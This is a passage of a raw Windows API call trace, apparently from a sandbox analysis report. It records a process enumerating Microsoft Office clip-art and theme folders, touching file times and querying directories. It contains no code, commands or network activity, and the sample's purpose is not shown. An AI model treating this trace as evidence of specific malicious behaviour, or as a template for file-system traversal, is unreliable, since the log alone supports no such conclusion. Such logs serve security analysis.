ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0245.712] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0245.722] GetLastError () returned 0x12 [0245.722] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0245.722] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.723] GetLastError () returned 0x12 [0245.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.723] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9437b8) returned 1 [0245.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.734] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0245.734] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x994130, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x994130, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0245.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x994130) returned 1 [0245.734] NtClose (Handle=0x1a8) returned 0x0 [0245.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.734] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0245.734] GetLastError () returned 0x12 [0245.734] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0245.735] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.735] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.735] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x994130, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x994130, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x994130) returned 1 [0245.735] NtClose (Handle=0x1a8) returned 0x0 [0245.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0245.971] GetLastError () returned 0x12 [0245.971] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0245.971] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.971] GetLastError () returned 0x12 [0245.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e5c8) returned 1 [0245.971] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e6d0) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0245.972] GetLastError () returned 0x12 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.972] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9437b8) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.972] GetLastError () returned 0x12 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943620) returned 1 [0245.972] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943598) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.010] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0246.010] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98ede0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x98ede0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0246.010] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98ede0) returned 1 [0246.010] NtClose (Handle=0x1c0) returned 0x0 [0246.010] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0246.011] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd660 [0246.279] GetLastError () returned 0x12 [0246.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0246.279] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.286] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.286] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998330, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x998330, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x998330) returned 1 [0246.286] NtClose (Handle=0x1c0) returned 0x0 [0246.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.361] GetLastError () returned 0x12 [0246.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0246.361] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.361] GetLastError () returned 0x12 [0246.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9925e8) returned 1 [0246.361] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) 